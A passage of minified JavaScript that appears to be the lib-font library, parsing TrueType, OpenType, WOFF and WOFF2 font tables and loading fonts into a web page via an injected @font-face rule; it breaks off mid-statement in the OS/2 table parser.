Xye=class{constructor(e,t,r){this.name=(r||e.tag||&quot;&quot;).trim(),this.length=e.length,this.start=e.offset,this.offset=0,this.data=t,[&quot;getInt8&quot;,&quot;getUint8&quot;,&quot;getInt16&quot;,&quot;getUint16&quot;,&quot;getInt32&quot;,&quot;getUint32&quot;,&quot;getBigInt64&quot;,&quot;getBigUint64&quot;].forEach(o=&gt;{let n=o.replace(/get(Big)?/,&quot;&quot;).toLowerCase(),i=parseInt(o.replace(/[^\d]/g,&quot;&quot;))/8;Object.defineProperty(this,n,{get:()=&gt;this.getValue(o,i)})})}get currentPosition(){return this.start+this.offset}set currentPosition(e){this.start=e,this.offset=0}skip(e=0,t=8){this.offset+=e*t/8}getValue(e,t){let r=this.start+this.offset;this.offset+=t;try{return this.data[e](r)}catch(o){throw console.error(&quot;parser&quot;,e,t,this),console.error(&quot;parser&quot;,this.start,this.offset),o}}flags(e){if(e===8||e===16||e===32||e===64)return this[`uint${e}`].toString(2).padStart(e,0).split(&quot;&quot;).map(t=&gt;t===&quot;1&quot;);console.error(&quot;Error parsing flags: flag types can only be 1, 2, 4, or 8 bytes long&quot;),console.trace()}get tag(){let e=this.uint32;return Kye([e&gt;&gt;24&amp;255,e&gt;&gt;16&amp;255,e&gt;&gt;8&amp;255,e&amp;255])}get fixed(){let e=this.int16,t=Math.round(1e3*this.uint16/65356);return e+t/1e3}get legacyFixed(){let e=this.uint16,t=this.uint16.toString(16).padStart(4,0);return parseFloat(`${e}.${t}`)}get uint24(){return(this.uint8&lt;&lt;16)+(this.uint8&lt;&lt;8)+this.uint8}get uint128(){let e=0;for(let t=0;t&lt;5;t++){let r=this.uint8;if(e=e*128+(r&amp;127),r&lt;128)break}return e}get longdatetime(){return new Date(Zye+1e3*parseInt(this.int64.toString()))}get fword(){return this.int16}get ufword(){return this.uint16}get Offset16(){return this.uint16}get Offset32(){return this.uint32}get F2DOT14(){let e=p.uint16,t=[0,1,-2,-1][e&gt;&gt;14],r=e&amp;16383;return t+r/16384}verifyLength(){this.offset!=this.length&amp;&amp;console.error(`unexpected parsed table size (${this.offset}) for &quot;${this.name}&quot; (expected ${this.length})`)}readBytes(e=0,t=0,r=8,o=!1){if(e=e||this.length,e===0)return[];t&amp;&amp;(this.currentPosition=t);let n=`${o?&quot;&quot;:&quot;u&quot;}int${r}`,i=[];for(;e--;)i.push(this[n]);return i}},pr=class{constructor(e){Object.defineProperty(this,&quot;parser&quot;,{enumerable:!1,get:()=&gt;e});let r=e.currentPosition;Object.defineProperty(this,&quot;start&quot;,{enumerable:!1,get:()=&gt;r})}load(e){Object.keys(e).forEach(t=&gt;{let r=Object.getOwnPropertyDescriptor(e,t);r.get?this[t]=r.get.bind(this):r.value!==void 0&amp;&amp;(this[t]=r.value)}),this.parser.length&amp;&amp;this.parser.verifyLength()}},qe=class extends pr{constructor(e,t,r){let{parser:o,start:n}=super(new Xye(e,t,r));Object.defineProperty(this,&quot;p&quot;,{enumerable:!1,get:()=&gt;o}),Object.defineProperty(this,&quot;tableStart&quot;,{enumerable:!1,get:()=&gt;n})}};function we(e,t,r){let o;Object.defineProperty(e,t,{get:()=&gt;o||(o=r(),o),enumerable:!0})}var Qye=class extends qe{constructor(e,t,r){let{p:o}=super({offset:0,length:12},t,&quot;sfnt&quot;);this.version=o.uint32,this.numTables=o.uint16,this.searchRange=o.uint16,this.entrySelector=o.uint16,this.rangeShift=o.uint16,o.verifyLength(),this.directory=[...new Array(this.numTables)].map(n=&gt;new Jye(o)),this.tables={},this.directory.forEach(n=&gt;{let i=()=&gt;r(this.tables,{tag:n.tag,offset:n.offset,length:n.length},t);we(this.tables,n.tag.trim(),i)})}},Jye=class{constructor(e){this.tag=e.tag,this.checksum=e.uint32,this.offset=e.uint32,this.length=e.uint32}},lU=aU.inflate||void 0,cU=void 0,$ye=class extends qe{constructor(e,t,r){let{p:o}=super({offset:0,length:44},t,&quot;woff&quot;);this.signature=o.tag,this.flavor=o.uint32,this.length=o.uint32,this.numTables=o.uint16,o.uint16,this.totalSfntSize=o.uint32,this.majorVersion=o.uint16,this.minorVersion=o.uint16,this.metaOffset=o.uint32,this.metaLength=o.uint32,this.metaOrigLength=o.uint32,this.privOffset=o.uint32,this.privLength=o.uint32,o.verifyLength(),this.directory=[...new Array(this.numTables)].map(n=&gt;new ebe(o)),tbe(this,t,r)}},ebe=class{constructor(e){this.tag=e.tag,this.offset=e.uint32,this.compLength=e.uint32,this.origLength=e.uint32,this.origChecksum=e.uint32}};function tbe(e,t,r){e.tables={},e.directory.forEach(o=&gt;{we(e.tables,o.tag.trim(),()=&gt;{let n=0,i=t;if(o.compLength!==o.origLength){let a=t.buffer.slice(o.offset,o.offset+o.compLength),l;if(lU)l=lU(new Uint8Array(a));else if(cU)l=cU(new Uint8Array(a));else{let c=&quot;no brotli decoder available to decode WOFF2 font&quot;;throw font.onerror&amp;&amp;font.onerror(c),new Error(c)}i=new DataView(l.buffer)}else n=o.offset;return r(e.tables,{tag:o.tag,offset:n,length:o.origLength},i)})})}var uU=sU,dU=void 0,rbe=class extends qe{constructor(e,t,r){let{p:o}=super({offset:0,length:48},t,&quot;woff2&quot;);this.signature=o.tag,this.flavor=o.uint32,this.length=o.uint32,this.numTables=o.uint16,o.uint16,this.totalSfntSize=o.uint32,this.totalCompressedSize=o.uint32,this.majorVersion=o.uint16,this.minorVersion=o.uint16,this.metaOffset=o.uint32,this.metaLength=o.uint32,this.metaOrigLength=o.uint32,this.privOffset=o.uint32,this.privLength=o.uint32,o.verifyLength(),this.directory=[...new Array(this.numTables)].map(l=&gt;new obe(o));let n=o.currentPosition;this.directory[0].offset=0,this.directory.forEach((l,c)=&gt;{let u=this.directory[c+1];u&amp;&amp;(u.offset=l.offset+(l.transformLength!==void 0?l.transformLength:l.origLength))});let i,a=t.buffer.slice(n);if(uU)i=uU(new Uint8Array(a));else if(dU)i=new Uint8Array(dU(a));else{let l=&quot;no brotli decoder available to decode WOFF2 font&quot;;throw e.onerror&amp;&amp;e.onerror(l),new Error(l)}nbe(this,i,r)}},obe=class{constructor(e){this.flags=e.uint8;let t=this.tagNumber=this.flags&amp;63;t===63?this.tag=e.tag:this.tag=ibe(t);let o=(this.transformVersion=(this.flags&amp;192)&gt;&gt;6)!==0;(this.tag===&quot;glyf&quot;||this.tag===&quot;loca&quot;)&amp;&amp;(o=this.transformVersion!==3),this.origLength=e.uint128,o&amp;&amp;(this.transformLength=e.uint128)}};function nbe(e,t,r){e.tables={},e.directory.forEach(o=&gt;{we(e.tables,o.tag.trim(),()=&gt;{let n=o.offset,i=n+(o.transformLength?o.transformLength:o.origLength),a=new DataView(t.slice(n,i).buffer);try{return r(e.tables,{tag:o.tag,offset:0,length:o.origLength},a)}catch(l){console.error(l)}})})}function ibe(e){return[&quot;cmap&quot;,&quot;head&quot;,&quot;hhea&quot;,&quot;hmtx&quot;,&quot;maxp&quot;,&quot;name&quot;,&quot;OS/2&quot;,&quot;post&quot;,&quot;cvt &quot;,&quot;fpgm&quot;,&quot;glyf&quot;,&quot;loca&quot;,&quot;prep&quot;,&quot;CFF &quot;,&quot;VORG&quot;,&quot;EBDT&quot;,&quot;EBLC&quot;,&quot;gasp&quot;,&quot;hdmx&quot;,&quot;kern&quot;,&quot;LTSH&quot;,&quot;PCLT&quot;,&quot;VDMX&quot;,&quot;vhea&quot;,&quot;vmtx&quot;,&quot;BASE&quot;,&quot;GDEF&quot;,&quot;GPOS&quot;,&quot;GSUB&quot;,&quot;EBSC&quot;,&quot;JSTF&quot;,&quot;MATH&quot;,&quot;CBDT&quot;,&quot;CBLC&quot;,&quot;COLR&quot;,&quot;CPAL&quot;,&quot;SVG &quot;,&quot;sbix&quot;,&quot;acnt&quot;,&quot;avar&quot;,&quot;bdat&quot;,&quot;bloc&quot;,&quot;bsln&quot;,&quot;cvar&quot;,&quot;fdsc&quot;,&quot;feat&quot;,&quot;fmtx&quot;,&quot;fvar&quot;,&quot;gvar&quot;,&quot;hsty&quot;,&quot;just&quot;,&quot;lcar&quot;,&quot;mort&quot;,&quot;morx&quot;,&quot;opbd&quot;,&quot;prop&quot;,&quot;trak&quot;,&quot;Zapf&quot;,&quot;Silf&quot;,&quot;Glat&quot;,&quot;Gloc&quot;,&quot;Feat&quot;,&quot;Sill&quot;][e&amp;63]}var yU={},bU=!1;Promise.all([Promise.resolve().then(function(){return Nbe}),Promise.resolve().then(function(){return Dbe}),Promise.resolve().then(function(){return Mbe}),Promise.resolve().then(function(){return jbe}),Promise.resolve().then(function(){return Ube}),Promise.resolve().then(function(){return qbe}),Promise.resolve().then(function(){return Kbe}),Promise.resolve().then(function(){return Qbe}),Promise.resolve().then(function(){return a0e}),Promise.resolve().then(function(){return y0e}),Promise.resolve().then(function(){return i1e}),Promise.resolve().then(function(){return a1e}),Promise.resolve().then(function(){return d1e}),Promise.resolve().then(function(){return h1e}),Promise.resolve().then(function(){return v1e}),Promise.resolve().then(function(){return b1e}),Promise.resolve().then(function(){return w1e}),Promise.resolve().then(function(){return C1e}),Promise.resolve().then(function(){return P1e}),Promise.resolve().then(function(){return E1e}),Promise.resolve().then(function(){return A1e}),Promise.resolve().then(function(){return I1e}),Promise.resolve().then(function(){return D1e}),Promise.resolve().then(function(){return L1e}),Promise.resolve().then(function(){return V1e}),Promise.resolve().then(function(){return z1e}),Promise.resolve().then(function(){return H1e}),Promise.resolve().then(function(){return W1e}),Promise.resolve().then(function(){return q1e}),Promise.resolve().then(function(){return X1e}),Promise.resolve().then(function(){return rSe}),Promise.resolve().then(function(){return sSe}),Promise.resolve().then(function(){return cSe}),Promise.resolve().then(function(){return mSe}),Promise.resolve().then(function(){return hSe}),Promise.resolve().then(function(){return vSe}),Promise.resolve().then(function(){return SSe}),Promise.resolve().then(function(){return wSe}),Promise.resolve().then(function(){return kSe}),Promise.resolve().then(function(){return RSe}),Promise.resolve().then(function(){return ISe})]).then(e=&gt;{e.forEach(t=&gt;{let r=Object.keys(t)[0];yU[r]=t[r]}),bU=!0});function sbe(e,t,r){let o=t.tag.replace(/[^\w\d]/g,&quot;&quot;),n=yU[o];return n?new n(t,r,e):(console.warn(`lib-font has no definition for ${o}. The table was skipped.`),{})}function abe(){let e=0;function t(r,o){if(!bU)return e&gt;10?o(new Error(&quot;loading took too long&quot;)):(e++,setTimeout(()=&gt;t(r),250));r(sbe)}return new Promise((r,o)=&gt;t(r))}function lbe(e,t){let r=e.lastIndexOf(&quot;.&quot;),o=(e.substring(r+1)||&quot;&quot;).toLowerCase(),n={ttf:&quot;truetype&quot;,otf:&quot;opentype&quot;,woff:&quot;woff&quot;,woff2:&quot;woff2&quot;}[o];if(n)return n;let i={eot:&quot;The .eot format is not supported: it died in January 12, 2016, when Microsoft retired all versions of IE that didn&#039;t already support WOFF.&quot;,svg:&quot;The .svg format is not supported: SVG fonts (not to be confused with OpenType with embedded SVG) were so bad we took the entire fonts chapter out of the SVG specification again.&quot;,fon:&quot;The .fon format is not supported: this is an ancient Windows bitmap font format.&quot;,ttc:&quot;Based on the current CSS specification, font collections are not (yet?) supported.&quot;}[o];if(i||(i=`${e} is not a known webfont format.`),t)throw new Error(i);console.warn(`Could not load font: ${i}`)}async function cbe(e,t,r={}){if(!globalThis.document)return;let o=lbe(t,r.errorOnStyle);if(!o)return;let n=document.createElement(&quot;style&quot;);n.className=&quot;injected-by-Font-js&quot;;let i=[];return r.styleRules&amp;&amp;(i=Object.entries(r.styleRules).map(([a,l])=&gt;`${a}: ${l};`)),n.textContent=`
@font-face {
    font-family: &quot;${e}&quot;;
    ${i.join(`
	`)}
    src: url(&quot;${t}&quot;) format(&quot;${o}&quot;);
}`,globalThis.document.head.appendChild(n),n}var ube=[0,1,0,0],dbe=[79,84,84,79],fbe=[119,79,70,70],mbe=[119,79,70,50];function wx(e,t){if(e.length===t.length){for(let r=0;r&lt;e.length;r++)if(e[r]!==t[r])return;return!0}}function pbe(e){let t=[e.getUint8(0),e.getUint8(1),e.getUint8(2),e.getUint8(3)];if(wx(t,ube)||wx(t,dbe))return&quot;SFNT&quot;;if(wx(t,fbe))return&quot;WOFF&quot;;if(wx(t,mbe))return&quot;WOFF2&quot;}function hbe(e){if(!e.ok)throw new Error(`HTTP ${e.status} - ${e.statusText}`);return e}var Cx=class extends qye{constructor(e,t={}){super(),this.name=e,this.options=t,this.metrics=!1}get src(){return this.__src}set src(e){this.__src=e,(async()=&gt;(globalThis.document&amp;&amp;!this.options.skipStyleSheet&amp;&amp;await cbe(this.name,e,this.options),this.loadFont(e)))()}async loadFont(e,t){fetch(e).then(r=&gt;hbe(r)&amp;&amp;r.arrayBuffer()).then(r=&gt;this.fromDataBuffer(r,t||e)).catch(r=&gt;{let o=new _x(&quot;error&quot;,r,`Failed to load font at ${t||e}`);this.dispatch(o),this.onerror&amp;&amp;this.onerror(o)})}async fromDataBuffer(e,t){this.fontData=new DataView(e);let r=pbe(this.fontData);if(!r)throw new Error(`${t} is either an unsupported font format, or not a font at all.`);await this.parseBasicData(r);let o=new _x(&quot;load&quot;,{font:this});this.dispatch(o),this.onload&amp;&amp;this.onload(o)}async parseBasicData(e){return abe().then(t=&gt;(e===&quot;SFNT&quot;&amp;&amp;(this.opentype=new Qye(this,this.fontData,t)),e===&quot;WOFF&quot;&amp;&amp;(this.opentype=new $ye(this,this.fontData,t)),e===&quot;WOFF2&quot;&amp;&amp;(this.opentype=new rbe(this,this.fontData,t)),this.opentype))}getGlyphId(e){return this.opentype.tables.cmap.getGlyphId(e)}reverse(e){return this.opentype.tables.cmap.reverse(e)}supports(e){return this.getGlyphId(e)!==0}supportsVariation(e){return this.opentype.tables.cmap.supportsVariation(e)!==!1}measureText(e,t=16){if(this.__unloaded)throw new Error(&quot;Cannot measure text: font was unloaded. Please reload before calling measureText()&quot;);let r=document.createElement(&quot;div&quot;);r.textContent=e,r.style.fontFamily=this.name,r.style.fontSize=`${t}px`,r.style.color=&quot;transparent&quot;,r.style.background=&quot;transparent&quot;,r.style.top=&quot;0&quot;,r.style.left=&quot;0&quot;,r.style.position=&quot;absolute&quot;,document.body.appendChild(r);let o=r.getBoundingClientRect();document.body.removeChild(r);let n=this.opentype.tables[&quot;OS/2&quot;];return o.fontSize=t,o.ascender=n.sTypoAscender,o.descender=n.sTypoDescender,o}unload(){if(this.styleElement.parentNode){this.styleElement.parentNode.removeElement(this.styleElement);let e=new _x(&quot;unload&quot;,{font:this});this.dispatch(e),this.onunload&amp;&amp;this.onunload(e)}this._unloaded=!0}load(){if(this.__unloaded){delete this.__unloaded,document.head.appendChild(this.styleElement);let e=new _x(&quot;load&quot;,{font:this});this.dispatch(e),this.onload&amp;&amp;this.onload(e)}}};globalThis.Font=Cx;var $l=class extends pr{constructor(e,t,r){super(e),this.plaformID=t,this.encodingID=r}},gbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=0,this.length=e.uint16,this.language=e.uint16,this.glyphIdArray=[...new Array(256)].map(o=&gt;e.uint8)}supports(e){return e.charCodeAt&amp;&amp;(e=-1,console.warn(&quot;supports(character) not implemented for cmap subtable format 0. only supports(id) is implemented.&quot;)),0&lt;=e&amp;&amp;e&lt;=255}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 0&quot;),{}}getSupportedCharCodes(){return[{start:1,end:256}]}},vbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=2,this.length=e.uint16,this.language=e.uint16,this.subHeaderKeys=[...new Array(256)].map(a=&gt;e.uint16);let o=Math.max(...this.subHeaderKeys),n=e.currentPosition;we(this,&quot;subHeaders&quot;,()=&gt;(e.currentPosition=n,[...new Array(o)].map(a=&gt;new ybe(e))));let i=n+o*8;we(this,&quot;glyphIndexArray&quot;,()=&gt;(e.currentPosition=i,[...new Array(o)].map(a=&gt;e.uint16)))}supports(e){e.charCodeAt&amp;&amp;(e=-1,console.warn(&quot;supports(character) not implemented for cmap subtable format 2. only supports(id) is implemented.&quot;));let t=e&amp;&amp;255,r=e&amp;&amp;65280,o=this.subHeaders[r],n=this.subHeaders[o],i=n.firstCode,a=i+n.entryCount;return i&lt;=t&amp;&amp;t&lt;=a}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 2&quot;),{}}getSupportedCharCodes(e=!1){return e?this.subHeaders.map(t=&gt;({firstCode:t.firstCode,lastCode:t.lastCode})):this.subHeaders.map(t=&gt;({start:t.firstCode,end:t.lastCode}))}},ybe=class{constructor(e){this.firstCode=e.uint16,this.entryCount=e.uint16,this.lastCode=this.first+this.entryCount,this.idDelta=e.int16,this.idRangeOffset=e.uint16}},bbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=4,this.length=e.uint16,this.language=e.uint16,this.segCountX2=e.uint16,this.segCount=this.segCountX2/2,this.searchRange=e.uint16,this.entrySelector=e.uint16,this.rangeShift=e.uint16;let o=e.currentPosition;we(this,&quot;endCode&quot;,()=&gt;e.readBytes(this.segCount,o,16));let n=o+2+this.segCountX2;we(this,&quot;startCode&quot;,()=&gt;e.readBytes(this.segCount,n,16));let i=n+this.segCountX2;we(this,&quot;idDelta&quot;,()=&gt;e.readBytes(this.segCount,i,16,!0));let a=i+this.segCountX2;we(this,&quot;idRangeOffset&quot;,()=&gt;e.readBytes(this.segCount,a,16));let l=a+this.segCountX2,c=this.length-(l-this.tableStart);we(this,&quot;glyphIdArray&quot;,()=&gt;e.readBytes(c,l,16)),we(this,&quot;segments&quot;,()=&gt;this.buildSegments(a,l,e))}buildSegments(e,t,r){let o=(n,i)=&gt;{let a=this.startCode[i],l=this.endCode[i],c=this.idDelta[i],u=this.idRangeOffset[i],d=e+2*i,f=[];if(u===0)for(let m=a+c,h=l+c;m&lt;=h;m++)f.push(m);else for(let m=0,h=l-a;m&lt;=h;m++)r.currentPosition=d+u+m*2,f.push(r.uint16);return{startCode:a,endCode:l,idDelta:c,idRangeOffset:u,glyphIDs:f}};return[...new Array(this.segCount)].map(o)}reverse(e){let t=this.segments.find(o=&gt;o.glyphIDs.includes(e));if(!t)return{};let r=t.startCode+t.glyphIDs.indexOf(e);return{code:r,unicode:String.fromCodePoint(r)}}getGlyphId(e){if(e.charCodeAt&amp;&amp;(e=e.charCodeAt(0)),55296&lt;=e&amp;&amp;e&lt;=57343||(e&amp;65534)===65534||(e&amp;65535)===65535)return 0;let t=this.segments.find(r=&gt;r.startCode&lt;=e&amp;&amp;e&lt;=r.endCode);return t?t.glyphIDs[e-t.startCode]:0}supports(e){return this.getGlyphId(e)!==0}getSupportedCharCodes(e=!1){return e?this.segments:this.segments.map(t=&gt;({start:t.startCode,end:t.endCode}))}},Sbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=6,this.length=e.uint16,this.language=e.uint16,this.firstCode=e.uint16,this.entryCount=e.uint16,this.lastCode=this.firstCode+this.entryCount-1,we(this,&quot;glyphIdArray&quot;,()=&gt;[...new Array(this.entryCount)].map(n=&gt;e.uint16))}supports(e){if(e.charCodeAt&amp;&amp;(e=-1,console.warn(&quot;supports(character) not implemented for cmap subtable format 6. only supports(id) is implemented.&quot;)),e&lt;this.firstCode)return{};if(e&gt;this.firstCode+this.entryCount)return{};let t=e-this.firstCode;return{code:t,unicode:String.fromCodePoint(t)}}reverse(e){let t=this.glyphIdArray.indexOf(e);if(t&gt;-1)return this.firstCode+t}getSupportedCharCodes(e=!1){return e?[{firstCode:this.firstCode,lastCode:this.lastCode}]:[{start:this.firstCode,end:this.lastCode}]}},_be=class extends $l{constructor(e,t,r){super(e,t,r),this.format=8,e.uint16,this.length=e.uint32,this.language=e.uint32,this.is32=[...new Array(8192)].map(n=&gt;e.uint8),this.numGroups=e.uint32,we(this,&quot;groups&quot;,()=&gt;[...new Array(this.numGroups)].map(n=&gt;new wbe(e)))}supports(e){return e.charCodeAt&amp;&amp;(e=-1,console.warn(&quot;supports(character) not implemented for cmap subtable format 8. only supports(id) is implemented.&quot;)),this.groups.findIndex(t=&gt;t.startcharCode&lt;=e&amp;&amp;e&lt;=t.endcharCode)!==-1}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 8&quot;),{}}getSupportedCharCodes(e=!1){return e?this.groups:this.groups.map(t=&gt;({start:t.startcharCode,end:t.endcharCode}))}},wbe=class{constructor(e){this.startcharCode=e.uint32,this.endcharCode=e.uint32,this.startGlyphID=e.uint32}},xbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=10,e.uint16,this.length=e.uint32,this.language=e.uint32,this.startCharCode=e.uint32,this.numChars=e.uint32,this.endCharCode=this.startCharCode+this.numChars,we(this,&quot;glyphs&quot;,()=&gt;[...new Array(this.numChars)].map(n=&gt;e.uint16))}supports(e){return e.charCodeAt&amp;&amp;(e=-1,console.warn(&quot;supports(character) not implemented for cmap subtable format 10. only supports(id) is implemented.&quot;)),e&lt;this.startCharCode||e&gt;this.startCharCode+this.numChars?!1:e-this.startCharCode}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 10&quot;),{}}getSupportedCharCodes(e=!1){return e?[{startCharCode:this.startCharCode,endCharCode:this.endCharCode}]:[{start:this.startCharCode,end:this.endCharCode}]}},Cbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=12,e.uint16,this.length=e.uint32,this.language=e.uint32,this.numGroups=e.uint32,we(this,&quot;groups&quot;,()=&gt;[...new Array(this.numGroups)].map(n=&gt;new Tbe(e)))}supports(e){return e.charCodeAt&amp;&amp;(e=e.charCodeAt(0)),55296&lt;=e&amp;&amp;e&lt;=57343||(e&amp;65534)===65534||(e&amp;65535)===65535?0:this.groups.findIndex(t=&gt;t.startCharCode&lt;=e&amp;&amp;e&lt;=t.endCharCode)!==-1}reverse(e){for(let t of this.groups){let r=t.startGlyphID;if(r&gt;e)continue;if(r===e)return t.startCharCode;if(r+(t.endCharCode-t.startCharCode)&lt;e)continue;let n=t.startCharCode+(e-r);return{code:n,unicode:String.fromCodePoint(n)}}return{}}getSupportedCharCodes(e=!1){return e?this.groups:this.groups.map(t=&gt;({start:t.startCharCode,end:t.endCharCode}))}},Tbe=class{constructor(e){this.startCharCode=e.uint32,this.endCharCode=e.uint32,this.startGlyphID=e.uint32}},Pbe=class extends $l{constructor(e,t,r){super(e,t,r),this.format=13,e.uint16,this.length=e.uint32,this.language=e.uint32,this.numGroups=e.uint32;let o=[...new Array(this.numGroups)].map(n=&gt;new kbe(e));we(this,&quot;groups&quot;,o)}supports(e){return e.charCodeAt&amp;&amp;(e=e.charCodeAt(0)),this.groups.findIndex(t=&gt;t.startCharCode&lt;=e&amp;&amp;e&lt;=t.endCharCode)!==-1}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 13&quot;),{}}getSupportedCharCodes(e=!1){return e?this.groups:this.groups.map(t=&gt;({start:t.startCharCode,end:t.endCharCode}))}},kbe=class{constructor(e){this.startCharCode=e.uint32,this.endCharCode=e.uint32,this.glyphID=e.uint32}},Ebe=class extends $l{constructor(e,t,r){super(e,t,r),this.subTableStart=e.currentPosition,this.format=14,this.length=e.uint32,this.numVarSelectorRecords=e.uint32,we(this,&quot;varSelectors&quot;,()=&gt;[...new Array(this.numVarSelectorRecords)].map(o=&gt;new Rbe(e)))}supports(){return console.warn(&quot;supports not implemented for cmap subtable format 14&quot;),0}getSupportedCharCodes(){return console.warn(&quot;getSupportedCharCodes not implemented for cmap subtable format 14&quot;),[]}reverse(e){return console.warn(&quot;reverse not implemented for cmap subtable format 14&quot;),{}}supportsVariation(e){let t=this.varSelector.find(r=&gt;r.varSelector===e);return t||!1}getSupportedVariations(){return this.varSelectors.map(e=&gt;e.varSelector)}},Rbe=class{constructor(e){this.varSelector=e.uint24,this.defaultUVSOffset=e.Offset32,this.nonDefaultUVSOffset=e.Offset32}};function Abe(e,t,r){let o=e.uint16;return o===0?new gbe(e,t,r):o===2?new vbe(e,t,r):o===4?new bbe(e,t,r):o===6?new Sbe(e,t,r):o===8?new _be(e,t,r):o===10?new xbe(e,t,r):o===12?new Cbe(e,t,r):o===13?new Pbe(e,t,r):o===14?new Ebe(e,t,r):{}}var Obe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numTables=r.uint16,this.encodingRecords=[...new Array(this.numTables)].map(o=&gt;new Ibe(r,this.tableStart))}getSubTable(e){return this.encodingRecords[e].table}getSupportedEncodings(){return this.encodingRecords.map(e=&gt;({platformID:e.platformID,encodingId:e.encodingID}))}getSupportedCharCodes(e,t){let r=this.encodingRecords.findIndex(n=&gt;n.platformID===e&amp;&amp;n.encodingID===t);return r===-1?!1:this.getSubTable(r).getSupportedCharCodes()}reverse(e){for(let t=0;t&lt;this.numTables;t++){let r=this.getSubTable(t).reverse(e);if(r)return r}}getGlyphId(e){let t=0;return this.encodingRecords.some((r,o)=&gt;{let n=this.getSubTable(o);return n.getGlyphId?(t=n.getGlyphId(e),t!==0):!1}),t}supports(e){return this.encodingRecords.some((t,r)=&gt;{let o=this.getSubTable(r);return o.supports&amp;&amp;o.supports(e)!==!1})}supportsVariation(e){return this.encodingRecords.some((t,r)=&gt;{let o=this.getSubTable(r);return o.supportsVariation&amp;&amp;o.supportsVariation(e)!==!1})}},Ibe=class{constructor(e,t){let r=this.platformID=e.uint16,o=this.encodingID=e.uint16,n=this.offset=e.Offset32;we(this,&quot;table&quot;,()=&gt;(e.currentPosition=t+n,Abe(e,r,o)))}},Nbe=Object.freeze({__proto__:null,cmap:Obe}),Fbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.load({majorVersion:r.uint16,minorVersion:r.uint16,fontRevision:r.fixed,checkSumAdjustment:r.uint32,magicNumber:r.uint32,flags:r.flags(16),unitsPerEm:r.uint16,created:r.longdatetime,modified:r.longdatetime,xMin:r.int16,yMin:r.int16,xMax:r.int16,yMax:r.int16,macStyle:r.flags(16),lowestRecPPEM:r.uint16,fontDirectionHint:r.uint16,indexToLocFormat:r.uint16,glyphDataFormat:r.uint16})}},Dbe=Object.freeze({__proto__:null,head:Fbe}),Bbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.ascender=r.fword,this.descender=r.fword,this.lineGap=r.fword,this.advanceWidthMax=r.ufword,this.minLeftSideBearing=r.fword,this.minRightSideBearing=r.fword,this.xMaxExtent=r.fword,this.caretSlopeRise=r.int16,this.caretSlopeRun=r.int16,this.caretOffset=r.int16,r.int16,r.int16,r.int16,r.int16,this.metricDataFormat=r.int16,this.numberOfHMetrics=r.uint16,r.verifyLength()}},Mbe=Object.freeze({__proto__:null,hhea:Bbe}),Lbe=class extends qe{constructor(e,t,r){let{p:o}=super(e,t),n=r.hhea.numberOfHMetrics,i=r.maxp.numGlyphs,a=o.currentPosition;if(we(this,&quot;hMetrics&quot;,()=&gt;(o.currentPosition=a,[...new Array(n)].map(l=&gt;new Vbe(o.uint16,o.int16)))),n&lt;i){let l=a+n*4;we(this,&quot;leftSideBearings&quot;,()=&gt;(o.currentPosition=l,[...new Array(i-n)].map(c=&gt;o.int16)))}}},Vbe=class{constructor(e,t){this.advanceWidth=e,this.lsb=t}},jbe=Object.freeze({__proto__:null,hmtx:Lbe}),zbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.legacyFixed,this.numGlyphs=r.uint16,this.version===1&amp;&amp;(this.maxPoints=r.uint16,this.maxContours=r.uint16,this.maxCompositePoints=r.uint16,this.maxCompositeContours=r.uint16,this.maxZones=r.uint16,this.maxTwilightPoints=r.uint16,this.maxStorage=r.uint16,this.maxFunctionDefs=r.uint16,this.maxInstructionDefs=r.uint16,this.maxStackElements=r.uint16,this.maxSizeOfInstructions=r.uint16,this.maxComponentElements=r.uint16,this.maxComponentDepth=r.uint16),r.verifyLength()}},Ube=Object.freeze({__proto__:null,maxp:zbe}),Hbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.format=r.uint16,this.count=r.uint16,this.stringOffset=r.Offset16,this.nameRecords=[...new Array(this.count)].map(o=&gt;new Wbe(r,this)),this.format===1&amp;&amp;(this.langTagCount=r.uint16,this.langTagRecords=[...new Array(this.langTagCount)].map(o=&gt;new Gbe(r.uint16,r.Offset16))),this.stringStart=this.tableStart+this.stringOffset}get(e){let t=this.nameRecords.find(r=&gt;r.nameID===e);if(t)return t.string}},Gbe=class{constructor(e,t){this.length=e,this.offset=t}},Wbe=class{constructor(e,t){this.platformID=e.uint16,this.encodingID=e.uint16,this.languageID=e.uint16,this.nameID=e.uint16,this.length=e.uint16,this.offset=e.Offset16,we(this,&quot;string&quot;,()=&gt;(e.currentPosition=t.stringStart+this.offset,Ybe(e,this)))}};function Ybe(e,t){let{platformID:r,length:o}=t;if(o===0)return&quot;&quot;;if(r===0||r===3){let a=[];for(let l=0,c=o/2;l&lt;c;l++)a[l]=String.fromCharCode(e.uint16);return a.join(&quot;&quot;)}let n=e.readBytes(o),i=[];return n.forEach(function(a,l){i[l]=String.fromCharCode(a)}),i.join(&quot;&quot;)}var qbe=Object.freeze({__proto__:null,name:Hbe}),Zbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);if(this.version=r.uint16,this.xAvgCharWidth=r.int16,this.usWeightClass=r.uint16,this.usWidthClass=r.uint16,this.fsType=r.uint16,this.ySubscriptXSize=r.int16,this.ySubscriptYSize=r.int16,this.ySubscriptXOffset=r.int16,this.ySubscriptYOffset=r.int16,this.ySuperscriptXSize=r.int16,this.ySuperscriptYSize=r.int16,this.ySuperscriptXOffset=r.int16,this.ySuperscriptYOffset=r.int16,this.yStrikeoutSize=r.int16,this.yStrikeoutPosition=r.int16,this.sFamilyClass=r.int16,this.panose=[...new 